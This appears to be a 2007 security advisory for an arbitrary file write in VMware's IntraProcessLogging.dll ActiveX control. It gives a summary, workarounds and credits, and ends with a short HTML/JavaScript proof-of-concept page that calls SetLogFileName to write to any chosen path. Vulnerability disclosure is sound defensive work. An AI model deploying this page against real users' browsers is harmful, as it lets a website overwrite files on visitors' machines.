VMware IntraProcessLogging.dll 5.5.3.42958 Arbitrary Data Write Exploit
[code]<!-----------------------------------------------------------------------------
:. GOODFELLAS Security Research TEAM .:
:. [url]http://goodfellas.shellcode.com.ar[/url] .:
IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
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Internal ID: VULWAR200707280.
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Introduction
------------
IntraProcessLogging.dll is a library included in the Program Vmware from
Vmware Inc. Company.
Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.
Summary
-------
The SetLogFileName method doesn't check if it's being called from the
application,
or malicious users. Remote Attacker could craft a html page and overwrite
arbitrary
files in a system.
Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.
Workaround
----------
- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
- Unregister IntraProcessLogging.dll using regsvr32.
Timeline
--------
July 28 2007 -- Bug Discovery.
July 28 2007 -- Exploit published.
Credits
-------
* callAX <[email]callAX@shellcode.com.ar[/email]>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>
Technical Details
-----------------
SetLogFileName method receives one argument filename in this format
"c:\path\file".
Proof of Concept
---------------->
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\arbitrary_file.txt"
ctrl.SetLogFileName(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
# milw0rm.com [2007-07-28]
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